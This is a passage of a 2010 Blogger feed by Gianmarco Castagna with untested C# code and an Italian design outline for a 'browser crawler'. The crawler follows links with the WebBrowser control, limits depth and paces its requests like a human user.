&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; NodeResource res = this.nav.listNodes[counter];&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(res.uri.Equals(w.Url.ToString())) {&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //replace NodeResource&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.nav.listNodes[counter]=currNodeResource;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //here get sub nodes&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (currNodeResource.deepNode &amp;lt; nav.deepNodeLimit)&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //links to&amp;nbsp; resources&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; counted = w.Document.Links.Count;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; counter = 0;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; while (counter &amp;lt; counted)&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //create and append a node for each new uri&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; HtmlElement elem = w.Document.Links[counter];&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; NodeResource n = new NodeResource();&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; n.deepNode = currNodeResource.deepNode + 1;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; n.uri = elem.GetAttribute("href");&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.nav.listNodes.Add(n);&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; counter++;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //here re-enable timer object&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; DoSleep();&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.timer.Enabled = true;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; private void button8_Click(object sender, EventArgs e)&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //start navigation&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (this.nav == null)&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Navigation n = new Navigation();&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; else&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // clear previous navigation values&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // this.nav.listNodes.Clear();&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //single node creation&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; NodeResource node = new NodeResource();&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; node.uri = this.textBoxUrl.Text;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; node.deepNode = 1;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.currNodeResource = node;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //append node in navigation&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.nav.listNodes.Add(node);&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.timer.Enabled = true;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; private void DoSleep()&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (this.calculatedSleepInterval.Count &amp;lt; 1)&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.CalculateSequencePause();&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int pause = this.calculatedSleepInterval[0];&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Thread.Sleep(pause * 1000);&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.calculatedSleepInterval.RemoveAt(0);&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
application will provide for reading result using speech synthesizer ,&lt;br /&gt;
at this time I search a stand alone synonyms dictionary for an addtion of correlation to basic, plain ,search of keywords.I love multithreading tecniques but this application will emulate a human user and he have a single conscious process ..or not? ,&lt;br /&gt;
&lt;b&gt;code is not tested and not compiled...&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2498733631801710230-2166215608447702796?l=freeware--software.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/1tI8XZearnH-_wzWe7ZVJyN8dpQ/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/1tI8XZearnH-_wzWe7ZVJyN8dpQ/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/1tI8XZearnH-_wzWe7ZVJyN8dpQ/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/1tI8XZearnH-_wzWe7ZVJyN8dpQ/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hHAGT/~4/zh-NQ5awRgM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://freeware--software.blogspot.com/feeds/2166215608447702796/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://freeware--software.blogspot.com/2010/07/browser-crawler-code.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/2166215608447702796?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/2166215608447702796?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/hHAGT/~3/zh-NQ5awRgM/browser-crawler-code.html" title="A browser crawler : the code" /><author><name>Gianmarco Castagna</name><uri>http://www.blogger.com/profile/02452503114306769644</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://freeware--software.blogspot.com/2010/07/browser-crawler-code.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D04BRX8zcCp7ImA9Wx5RGUw.&quot;"><id>tag:blogger.com,1999:blog-2498733631801710230.post-7512157336607419728</id><published>2010-07-29T13:58:00.007+02:00</published><updated>2010-08-27T15:32:34.188+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-08-27T15:32:34.188+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="software gratis" /><category scheme="http://www.blogger.com/atom/ns#" term="software freeware" /><category scheme="http://www.blogger.com/atom/ns#" term="italian language" /><category scheme="http://www.blogger.com/atom/ns#" term="gianmarco castagna" /><category scheme="http://www.blogger.com/atom/ns#" term="software gratuito" /><category scheme="http://www.blogger.com/atom/ns#" term="plugin" /><category scheme="http://www.blogger.com/atom/ns#" term="crawler" /><category scheme="http://www.blogger.com/atom/ns#" term=".net c#" /><category scheme="http://www.blogger.com/atom/ns#" term="gianmarcocastagna" /><category scheme="http://www.blogger.com/atom/ns#" term="free software" /><category scheme="http://www.blogger.com/atom/ns#" term="auto web browser" /><category scheme="http://www.blogger.com/atom/ns#" term="browser crawler" /><title>Come costruire un browser-crawler</title><content type="html">&lt;a href="http://translate.google.it/translate?js=y&amp;amp;prev=_t&amp;amp;hl=it&amp;amp;ie=UTF-8&amp;amp;layout=1&amp;amp;eotf=1&amp;amp;u=http%3A%2F%2Ffreeware--software.blogspot.com%2F&amp;amp;sl=it&amp;amp;tl=en"&gt;translate to english&lt;/a&gt; &lt;br /&gt;
Parto dall'elenco (aperto) delle funzionalità :&lt;br /&gt;
1) browser&lt;br /&gt;
2) crawler che permetta di trovare le informazioni sul web navigando&amp;nbsp; seguendo link ,parole chiave (e magari sinonimi)&lt;br /&gt;
3) report l'applicazione deve essere in grado di presentare i dati in  modo compatto per permettere in seguito una navigazione umana sui&amp;nbsp; dati  estratti o sulle pagine originarie&lt;br /&gt;
4) avere un tipo di navigazione che riproduca il piu' possibile quella  di una persona per non caricare i web server o saturare la nostra  connessione quindi niente code di chiamate http o simili ,un dizionario  dei sinonimi incorporato permetterebbe di introdurre una certa elsticità  alle keywords iniziali&lt;br /&gt;
5) il programma deve permettere di impostare la profondità e&amp;nbsp;  l'accuratezza della navigazione&amp;nbsp; ,ad esempio se estrarre anche  l'eventuale testo dalle immagini i meno &lt;br /&gt;
6) il software deve essere in grado di imparare ossia di non analizzare  una seconda volta risorse uri dalle quali non ha&amp;nbsp; estratto dati validi  per una determinata ricerca,poich' le pagine web cambiano questa  dev'essere un'opzione e non una scelta &lt;br /&gt;
7) l'applicazione deve avere un certo livello di sicurezza per questo deve poter girare dentro una sandbox&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Una possibile soluzione&lt;/b&gt;:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; in .net su piattaforma windows usando mono su linux e unix.&lt;br /&gt;
I singoli punti :&lt;br /&gt;
1) con il controllo webbrowser&lt;br /&gt;
2) sempre con il controllo webbrowser che ha gli eventi per essere pilotato programmaticamente,si potrebbe anche utilizzare la classe webclient ,il controllo web browser dà però il vantaggio di avere un accesso immediato al dom dell'oggetto html risultante dalla chiamata,per considerare i risultati pertinenti l'applicazione deve permettere l'aggiunta di regular expression alla keywords letterali , è necessario impostare un operatore simile a "near" per aggiungere un valore di prossimità rilevante tra le keywords.&lt;br /&gt;
3) gli oggetti collection e gridview&amp;nbsp; forniscono il necessario per la persistenza in "sessione" dei risultati,il sintentizzatore di sistema fornisce il modo per la possibile lettura audio dei dati&lt;br /&gt;
4) per questo risultato è necessario avere un unico thread che segue una navigazione temporizzata applicando costantemente la logica fornita dalla keywords (+ sinonimi se possibile per garantire una minima simulazione della correlazione tra concetti ed estensione della "base" di ricerca),visto che gli essere umani leggono le immagini ed il testo in esse contenuto l'uso di un motore ocr per considerare anche il testo nelle immagini dovrebbe migliorare il risultato,ad esempio tesseract.&lt;br /&gt;
5) la profondità può essere il numero di livelli di esplorazione partendo dall'uri iniziale&lt;br /&gt;
6)questo potrebbe concretizzarsi nel marcare un ramo dell'esplorazione come "da non seguire" se non ha portato ad un risultato,essendo mutevoli i contenuti del web (come del resto quelli di un filesystem) questa dev'essere un opzione&lt;br /&gt;
7) visto che l'applicazione naviga in modo autonomo l'esecuzione di essa dentro una sandbox sarebbe auspicabile , la sandbox di "comodo software" può essere una soluzione pratica e gratuita.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Spero che qualche letore possa aggiungere un commento critica o suggerimento anche in modo anonimo.&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2498733631801710230-7512157336607419728?l=freeware--software.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/RWyAzDtfwfSZchSLFJe-hgMb9SU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/RWyAzDtfwfSZchSLFJe-hgMb9SU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/RWyAzDtfwfSZchSLFJe-hgMb9SU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/RWyAzDtfwfSZchSLFJe-hgMb9SU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hHAGT/~4/cazRTuBXGbc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://freeware--software.blogspot.com/feeds/7512157336607419728/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://freeware--software.blogspot.com/2010/07/come-costruire-un-browser-crawler.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/7512157336607419728?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/7512157336607419728?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/hHAGT/~3/cazRTuBXGbc/come-costruire-un-browser-crawler.html" title="Come costruire un browser-crawler" /><author><name>Gianmarco Castagna</name><uri>http://www.blogger.com/profile/02452503114306769644</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://freeware--software.blogspot.com/2010/07/come-costruire-un-browser-crawler.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkYAQn45cCp7ImA9Wx5TFUo.&quot;"><id>tag:blogger.com,1999:blog-2498733631801710230.post-1605975852505458322</id><published>2010-07-29T13:43:00.002+02:00</published><updated>2010-07-31T11:55:43.028+02:00</updated><app:edited 